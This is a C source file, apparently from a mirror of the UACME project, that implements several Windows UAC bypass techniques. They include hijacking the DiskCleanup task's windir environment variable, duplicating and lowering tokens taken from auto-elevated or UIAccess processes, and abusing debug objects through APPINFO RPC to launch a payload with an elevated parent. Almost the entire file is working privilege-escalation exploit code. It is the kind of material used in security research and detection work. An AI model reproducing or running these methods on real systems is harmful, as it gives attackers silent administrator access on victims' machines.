mirror of https://github.com/hfiref0x/UACME.git
762 lines
20 KiB
C
762 lines
20 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2017 - 2020
|
|
*
|
|
* TITLE: TYRANID.C
|
|
*
|
|
* VERSION: 3.23
|
|
*
|
|
* DATE: 17 Dec 2019
|
|
*
|
|
* James Forshaw autoelevation method(s)
|
|
* Fine Dinning Tool (c) CIA
|
|
*
|
|
* For description please visit original URL
|
|
* https://tyranidslair.blogspot.ru/2017/05/exploiting-environment-variables-in.html
|
|
* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-1.html
|
|
* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-2.html
|
|
* https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-3.html
|
|
* https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
|
|
* https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
/*
|
|
* ucmDiskCleanupEnvironmentVariable
|
|
*
|
|
* Purpose:
|
|
*
|
|
* DiskCleanup task uses current user environment variables to build a path to the executable.
|
|
* Warning: this method works with AlwaysNotify UAC level.
|
|
*
|
|
*/
|
|
NTSTATUS ucmDiskCleanupEnvironmentVariable(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
WCHAR szEnvVariable[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
if (_strlen(lpszPayload) > MAX_PATH)
|
|
return STATUS_INVALID_PARAMETER;
|
|
|
|
//
|
|
// Add quotes.
|
|
//
|
|
szEnvVariable[0] = L'\"';
|
|
szEnvVariable[1] = 0;
|
|
_strncpy(&szEnvVariable[1], MAX_PATH, lpszPayload, MAX_PATH);
|
|
_strcat(szEnvVariable, L"\"");
|
|
|
|
//
|
|
// Set our controlled env.variable with payload.
|
|
//
|
|
if (!supSetEnvVariable(FALSE, NULL, T_WINDIR, szEnvVariable))
|
|
break;
|
|
|
|
//
|
|
// Run trigger task.
|
|
//
|
|
if (supRunProcess(SCHTASKS_EXE, T_SCHTASKS_CMD))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
//
|
|
// Cleaup our env.variable.
|
|
//
|
|
supSetEnvVariable(TRUE, NULL, T_WINDIR, NULL);
|
|
|
|
} while (FALSE);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmTokenModification
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Obtains the token from an auto-elevated process, modifies it, and reuses it to execute as administrator.
|
|
*
|
|
* Fixed in Windows 10 RS5
|
|
*
|
|
*/
|
|
NTSTATUS ucmTokenModification(
|
|
_In_ LPWSTR lpszPayload,
|
|
_In_ BOOL fUseCommandLine
|
|
)
|
|
{
|
|
BOOL bSelfRun = FALSE;
|
|
ULONG dummy;
|
|
NTSTATUS Status = STATUS_ACCESS_DENIED;
|
|
HANDLE hTargetProcess = NULL;
|
|
HANDLE hProcessToken = NULL, hDupToken = NULL, hLuaToken = NULL, hImpToken = NULL;
|
|
|
|
LPWSTR lpApplicationName, lpCommandLine;
|
|
PSYSTEM_PROCESSES_INFORMATION ProcessList, pList;
|
|
|
|
SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
|
|
PSID pIntegritySid = NULL;
|
|
TOKEN_MANDATORY_LABEL tml;
|
|
SECURITY_QUALITY_OF_SERVICE sqos;
|
|
OBJECT_ATTRIBUTES obja;
|
|
CLIENT_ID cid;
|
|
|
|
STARTUPINFO si;
|
|
PROCESS_INFORMATION pi;
|
|
SHELLEXECUTEINFO shinfo;
|
|
|
|
TOKEN_ELEVATION tei;
|
|
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
|
|
do {
|
|
|
|
hTargetProcess = NULL;
|
|
|
|
//
|
|
// Attempt to locate already elevated process running in the system.
|
|
//
|
|
InitializeObjectAttributes(&obja, NULL, 0, 0, NULL);
|
|
ProcessList = (PSYSTEM_PROCESSES_INFORMATION)supGetSystemInfo(SystemProcessInformation);
|
|
if (ProcessList) {
|
|
pList = ProcessList;
|
|
for (;;) {
|
|
cid.UniqueProcess = pList->UniqueProcessId;
|
|
cid.UniqueThread = NULL;
|
|
|
|
//
|
|
// Open process and query it process token elevation state.
|
|
//
|
|
Status = NtOpenProcess(&hTargetProcess, MAXIMUM_ALLOWED, &obja, &cid);
|
|
if (NT_SUCCESS(Status)) {
|
|
Status = NtOpenProcessToken(hTargetProcess, MAXIMUM_ALLOWED, &hProcessToken);
|
|
if (NT_SUCCESS(Status)) {
|
|
tei.TokenIsElevated = 0;
|
|
Status = NtQueryInformationToken(hProcessToken,
|
|
TokenElevation, &tei,
|
|
sizeof(TOKEN_ELEVATION), &dummy);
|
|
if (NT_SUCCESS(Status)) {
|
|
//
|
|
// Elevated process found, don't close it handles as we will re-use them next.
|
|
//
|
|
if (tei.TokenIsElevated > 0) {
|
|
break;
|
|
}
|
|
}
|
|
NtClose(hProcessToken);
|
|
hProcessToken = NULL;
|
|
}
|
|
NtClose(hTargetProcess);
|
|
hTargetProcess = NULL;
|
|
}
|
|
|
|
if (pList->NextEntryDelta == 0)
|
|
break;
|
|
|
|
pList = (PSYSTEM_PROCESSES_INFORMATION)(((LPBYTE)pList) + pList->NextEntryDelta);
|
|
}
|
|
supHeapFree(ProcessList);
|
|
}
|
|
|
|
//
|
|
// If not found then run it.
|
|
//
|
|
if (hTargetProcess == NULL) {
|
|
|
|
//
|
|
// Run autoelevated app (any).
|
|
//
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = WUSA_EXE;
|
|
shinfo.nShow = SW_HIDE;
|
|
if (!ShellExecuteEx(&shinfo)) {
|
|
break;
|
|
}
|
|
else {
|
|
bSelfRun = TRUE;
|
|
hTargetProcess = shinfo.hProcess;
|
|
}
|
|
}
|
|
|
|
//
|
|
// Open token of elevated process.
|
|
//
|
|
if (hProcessToken == NULL) {
|
|
Status = NtOpenProcessToken(hTargetProcess, MAXIMUM_ALLOWED, &hProcessToken);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Duplicate primary token.
|
|
//
|
|
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
|
|
sqos.ImpersonationLevel = SecurityImpersonation;
|
|
sqos.ContextTrackingMode = 0;
|
|
sqos.EffectiveOnly = FALSE;
|
|
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
|
|
obja.SecurityQualityOfService = &sqos;
|
|
Status = NtDuplicateToken(hProcessToken, TOKEN_ALL_ACCESS, &obja, FALSE, TokenPrimary, &hDupToken);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
//
|
|
// Lower duplicated token IL from High to Medium.
|
|
//
|
|
Status = RtlAllocateAndInitializeSid(&MLAuthority,
|
|
1, SECURITY_MANDATORY_MEDIUM_RID,
|
|
0, 0, 0, 0, 0, 0, 0,
|
|
&pIntegritySid);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
tml.Label.Attributes = SE_GROUP_INTEGRITY;
|
|
tml.Label.Sid = pIntegritySid;
|
|
|
|
Status = NtSetInformationToken(hDupToken, TokenIntegrityLevel, &tml,
|
|
(ULONG)(sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)));
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
//
|
|
// Create restricted token.
|
|
//
|
|
Status = NtFilterToken(hDupToken, LUA_TOKEN, NULL, NULL, NULL, &hLuaToken);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
//
|
|
// Impersonate logged on user.
|
|
//
|
|
hImpToken = NULL;
|
|
Status = NtDuplicateToken(hLuaToken, TOKEN_IMPERSONATE | TOKEN_QUERY,
|
|
&obja,
|
|
FALSE,
|
|
TokenImpersonation,
|
|
&hImpToken);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
Status = NtSetInformationThread(
|
|
NtCurrentThread(),
|
|
ThreadImpersonationToken,
|
|
&hImpToken,
|
|
sizeof(HANDLE));
|
|
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
NtClose(hImpToken);
|
|
hImpToken = NULL;
|
|
|
|
//
|
|
// Run target.
|
|
//
|
|
RtlSecureZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
GetStartupInfo(&si);
|
|
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
si.wShowWindow = SW_SHOW;
|
|
|
|
RtlSecureZeroMemory(&pi, sizeof(pi));
|
|
|
|
if (fUseCommandLine) {
|
|
lpApplicationName = NULL;
|
|
lpCommandLine = lpszPayload;
|
|
}
|
|
else {
|
|
lpApplicationName = lpszPayload;
|
|
lpCommandLine = NULL;
|
|
}
|
|
|
|
if (CreateProcessWithLogonW(TEXT("uac"), TEXT("is"), TEXT("useless"),
|
|
LOGON_NETCREDENTIALS_ONLY,
|
|
lpApplicationName,
|
|
lpCommandLine,
|
|
0,
|
|
NULL,
|
|
NULL,
|
|
&si,
|
|
&pi))
|
|
{
|
|
if (pi.hThread) CloseHandle(pi.hThread);
|
|
if (pi.hProcess) CloseHandle(pi.hProcess);
|
|
Status = STATUS_SUCCESS;
|
|
}
|
|
|
|
//
|
|
// Revert to self.
|
|
//
|
|
hImpToken = NULL;
|
|
NtSetInformationThread(
|
|
NtCurrentThread(),
|
|
ThreadImpersonationToken,
|
|
(PVOID)&hImpToken,
|
|
sizeof(HANDLE));
|
|
|
|
} while (FALSE);
|
|
|
|
if (hImpToken) NtClose(hImpToken);
|
|
if (hProcessToken) NtClose(hProcessToken);
|
|
if (hDupToken) NtClose(hDupToken);
|
|
if (hLuaToken) NtClose(hLuaToken);
|
|
|
|
if (bSelfRun) {
|
|
NtTerminateProcess(hTargetProcess, STATUS_SUCCESS);
|
|
}
|
|
if (hTargetProcess) NtClose(hTargetProcess);
|
|
if (pIntegritySid) RtlFreeSid(pIntegritySid);
|
|
|
|
return Status;
|
|
}
|
|
|
|
/*
|
|
* ucmxTokenModUIAccessMethodInitPhase
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Convert dll to new entrypoint/exe.
|
|
*
|
|
*/
|
|
BOOL ucmxTokenModUIAccessMethodInitPhase(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
//
|
|
// Patch Fubuki to the new entry point and convert to EXE
|
|
//
|
|
if (!supReplaceDllEntryPoint(ProxyDll,
|
|
ProxyDllSize,
|
|
FUBUKI_ENTRYPOINT_UIACCESS2,
|
|
TRUE))
|
|
{
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Drop modified Fubuki.exe to the %temp%
|
|
//
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, FUBUKI_EXE);
|
|
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
bResult = TRUE;
|
|
|
|
} while (FALSE);
|
|
|
|
if (bResult == FALSE) {
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, FUBUKI_EXE);
|
|
DeleteFile(szBuffer);
|
|
}
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmTokenModUIAccessMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Obtain token from UIAccess application, modify it and reuse for UAC bypass.
|
|
*
|
|
*/
|
|
NTSTATUS ucmTokenModUIAccessMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS Status = STATUS_ACCESS_DENIED;
|
|
LPWSTR lpszPayload = NULL;
|
|
PSID pIntegritySid = NULL;
|
|
HANDLE hDupToken = NULL, hProcessToken = NULL;
|
|
SHELLEXECUTEINFO shinfo;
|
|
SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
|
|
TOKEN_MANDATORY_LABEL tml;
|
|
SECURITY_QUALITY_OF_SERVICE sqos;
|
|
OBJECT_ATTRIBUTES obja;
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
STARTUPINFO si;
|
|
PROCESS_INFORMATION pi;
|
|
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
|
|
do {
|
|
//
|
|
// Tweak and drop payload to %temp%.
|
|
//
|
|
if (!ucmxTokenModUIAccessMethodInitPhase(ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
//
|
|
// Spawn OSK.exe process.
|
|
//
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, OSK_EXE);
|
|
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = szBuffer;
|
|
shinfo.nShow = SW_HIDE;
|
|
if (!ShellExecuteEx(&shinfo))
|
|
break;
|
|
|
|
//
|
|
// Open process token.
|
|
//
|
|
Status = NtOpenProcessToken(shinfo.hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hProcessToken);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
//
|
|
// Duplicate primary token.
|
|
//
|
|
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
|
|
sqos.ImpersonationLevel = SecurityImpersonation;
|
|
sqos.ContextTrackingMode = 0;
|
|
sqos.EffectiveOnly = FALSE;
|
|
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
|
|
obja.SecurityQualityOfService = &sqos;
|
|
Status = NtDuplicateToken(hProcessToken, TOKEN_ALL_ACCESS, &obja, FALSE, TokenPrimary, &hDupToken);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
NtClose(hProcessToken);
|
|
hProcessToken = NULL;
|
|
|
|
NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS);
|
|
NtClose(shinfo.hProcess);
|
|
shinfo.hProcess = NULL;
|
|
|
|
//
|
|
// Lower duplicated token IL from Medium+ to Medium.
|
|
//
|
|
Status = RtlAllocateAndInitializeSid(&MLAuthority,
|
|
1, SECURITY_MANDATORY_MEDIUM_RID,
|
|
0, 0, 0, 0, 0, 0, 0,
|
|
&pIntegritySid);
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
tml.Label.Attributes = SE_GROUP_INTEGRITY;
|
|
tml.Label.Sid = pIntegritySid;
|
|
|
|
Status = NtSetInformationToken(hDupToken, TokenIntegrityLevel, &tml,
|
|
(ULONG)(sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)));
|
|
if (!NT_SUCCESS(Status))
|
|
break;
|
|
|
|
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
|
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO));
|
|
si.cb = sizeof(STARTUPINFO);
|
|
GetStartupInfo(&si);
|
|
|
|
//
|
|
// Run second stage exe to perform some gui hacks.
|
|
//
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, FUBUKI_EXE);
|
|
|
|
if (g_ctx->OptionalParameterLength == 0)
|
|
lpszPayload = g_ctx->szDefaultPayload;
|
|
else
|
|
lpszPayload = g_ctx->szOptionalParameter;
|
|
|
|
if (CreateProcessAsUser(hDupToken,
|
|
szBuffer, //application
|
|
lpszPayload, //command line
|
|
NULL,
|
|
NULL,
|
|
FALSE,
|
|
CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS,
|
|
NULL,
|
|
NULL,
|
|
&si,
|
|
&pi))
|
|
{
|
|
if (WaitForSingleObject(pi.hProcess, 10000) == WAIT_TIMEOUT)
|
|
TerminateProcess(pi.hProcess, (UINT)-1);
|
|
|
|
CloseHandle(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
|
|
Status = STATUS_SUCCESS;
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (hProcessToken) NtClose(hProcessToken);
|
|
|
|
if (shinfo.hProcess) {
|
|
NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS);
|
|
NtClose(shinfo.hProcess);
|
|
}
|
|
if (hDupToken) NtClose(hDupToken);
|
|
if (pIntegritySid) RtlFreeSid(pIntegritySid);
|
|
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, FUBUKI_EXE);
|
|
DeleteFile(szBuffer);
|
|
|
|
return Status;
|
|
}
|
|
|
|
/*
|
|
* ucmxCreateProcessFromParent
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Create new process using parent process handle.
|
|
*
|
|
*/
|
|
NTSTATUS ucmxCreateProcessFromParent(
|
|
_In_ HANDLE ParentProcess,
|
|
_In_ LPWSTR Payload)
|
|
{
|
|
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
|
SIZE_T size = 0x30;
|
|
|
|
STARTUPINFOEX si;
|
|
PROCESS_INFORMATION pi;
|
|
|
|
RtlSecureZeroMemory(&pi, sizeof(pi));
|
|
RtlSecureZeroMemory(&si, sizeof(si));
|
|
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
|
|
|
|
do {
|
|
if (size > 1024)
|
|
break;
|
|
|
|
si.lpAttributeList = supHeapAlloc(size);
|
|
if (si.lpAttributeList) {
|
|
|
|
if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size)) {
|
|
if (UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
|
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ParentProcess, sizeof(HANDLE), 0, 0)) //-V616
|
|
{
|
|
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
|
si.StartupInfo.wShowWindow = SW_SHOW;
|
|
|
|
if (CreateProcess(NULL,
|
|
Payload,
|
|
NULL,
|
|
NULL,
|
|
FALSE,
|
|
CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT,
|
|
NULL,
|
|
g_ctx->szSystemRoot,
|
|
(LPSTARTUPINFO)&si,
|
|
&pi))
|
|
{
|
|
CloseHandle(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
status = STATUS_SUCCESS;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (si.lpAttributeList)
|
|
DeleteProcThreadAttributeList(si.lpAttributeList); //dumb empty routine
|
|
|
|
supHeapFree(si.lpAttributeList);
|
|
}
|
|
} while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);
|
|
|
|
return status;
|
|
}
|
|
|
|
/*
|
|
* ucmDebugObjectMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by direct RPC call to APPINFO and DebugObject use.
|
|
*
|
|
*/
|
|
NTSTATUS ucmDebugObjectMethod(
|
|
_In_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
//UINT retryCount = 0;
|
|
|
|
NTSTATUS status = STATUS_ACCESS_DENIED;
|
|
|
|
HANDLE dbgHandle = NULL, dbgProcessHandle, dupHandle;
|
|
|
|
PROCESS_INFORMATION procInfo;
|
|
|
|
DEBUG_EVENT dbgEvent;
|
|
|
|
WCHAR szProcess[MAX_PATH * 2];
|
|
|
|
|
|
do {
|
|
|
|
//
|
|
// Spawn initial non elevated victim process under debug.
|
|
//
|
|
|
|
|
|
//do { /* remove comment for attempt to spam debug object within thread pool */
|
|
|
|
_strcpy(szProcess, g_ctx->szSystemDirectory);
|
|
_strcat(szProcess, WINVER_EXE);
|
|
|
|
if (!AicLaunchAdminProcess(szProcess,
|
|
szProcess,
|
|
0,
|
|
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
|
|
g_ctx->szSystemRoot,
|
|
T_DEFAULT_DESKTOP,
|
|
NULL,
|
|
INFINITE,
|
|
SW_HIDE,
|
|
&procInfo))
|
|
{
|
|
status = STATUS_UNSUCCESSFUL;
|
|
break;
|
|
}
|
|
|
|
|
|
//
|
|
// Capture debug object handle.
|
|
//
|
|
|
|
status = supGetProcessDebugObject(procInfo.hProcess,
|
|
&dbgHandle);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
//
|
|
// Detach debug and kill non elevated victim process.
|
|
//
|
|
NtRemoveProcessDebug(procInfo.hProcess, dbgHandle);
|
|
TerminateProcess(procInfo.hProcess, 0);
|
|
CloseHandle(procInfo.hThread);
|
|
CloseHandle(procInfo.hProcess);
|
|
|
|
//} while (++retryCount < 20);
|
|
|
|
//
|
|
// Spawn elevated victim under debug.
|
|
//
|
|
_strcpy(szProcess, g_ctx->szSystemDirectory);
|
|
_strcat(szProcess, TASKMGR_EXE);
|
|
RtlSecureZeroMemory(&procInfo, sizeof(procInfo));
|
|
RtlSecureZeroMemory(&dbgEvent, sizeof(dbgEvent));
|
|
|
|
if (!AicLaunchAdminProcess(szProcess,
|
|
szProcess,
|
|
1,
|
|
CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,
|
|
g_ctx->szSystemRoot,
|
|
T_DEFAULT_DESKTOP,
|
|
NULL,
|
|
INFINITE,
|
|
SW_HIDE,
|
|
&procInfo))
|
|
{
|
|
status = STATUS_UNSUCCESSFUL;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Update thread TEB with debug object handle to receive debug events.
|
|
//
|
|
DbgUiSetThreadDebugObject(dbgHandle);
|
|
dbgProcessHandle = NULL;
|
|
|
|
//
|
|
// Debugger wait cycle.
|
|
//
|
|
while (1) {
|
|
|
|
if (!WaitForDebugEvent(&dbgEvent, INFINITE))
|
|
break;
|
|
|
|
switch (dbgEvent.dwDebugEventCode) {
|
|
|
|
//
|
|
// Capture initial debug event process handle.
|
|
//
|
|
case CREATE_PROCESS_DEBUG_EVENT:
|
|
dbgProcessHandle = dbgEvent.u.CreateProcessInfo.hProcess;
|
|
break;
|
|
}
|
|
|
|
if (dbgProcessHandle)
|
|
break;
|
|
|
|
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
|
|
|
|
}
|
|
|
|
if (dbgProcessHandle == NULL)
|
|
break;
|
|
|
|
//
|
|
// Create new handle from captured with PROCESS_ALL_ACCESS.
|
|
//
|
|
dupHandle = NULL;
|
|
status = NtDuplicateObject(dbgProcessHandle,
|
|
NtCurrentProcess(),
|
|
NtCurrentProcess(),
|
|
&dupHandle,
|
|
PROCESS_ALL_ACCESS,
|
|
0,
|
|
0);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
//
|
|
// Run new process with parent set to duplicated process handle.
|
|
//
|
|
ucmxCreateProcessFromParent(dupHandle, lpszPayload);
|
|
NtClose(dupHandle);
|
|
}
|
|
|
|
#pragma warning(push)
|
|
#pragma warning(disable: 6387)
|
|
DbgUiSetThreadDebugObject(NULL);
|
|
#pragma warning(pop)
|
|
|
|
NtClose(dbgHandle);
|
|
dbgHandle = NULL;
|
|
|
|
CloseHandle(dbgProcessHandle);
|
|
|
|
//
|
|
// Release victim process.
|
|
//
|
|
CloseHandle(procInfo.hThread);
|
|
TerminateProcess(procInfo.hProcess, 0);
|
|
CloseHandle(procInfo.hProcess);
|
|
|
|
} while (FALSE);
|
|
|
|
if (dbgHandle) NtClose(dbgHandle);
|
|
SetEvent(g_ctx->SharedContext.hCompletionEvent);
|
|
return status;
|
|
}
|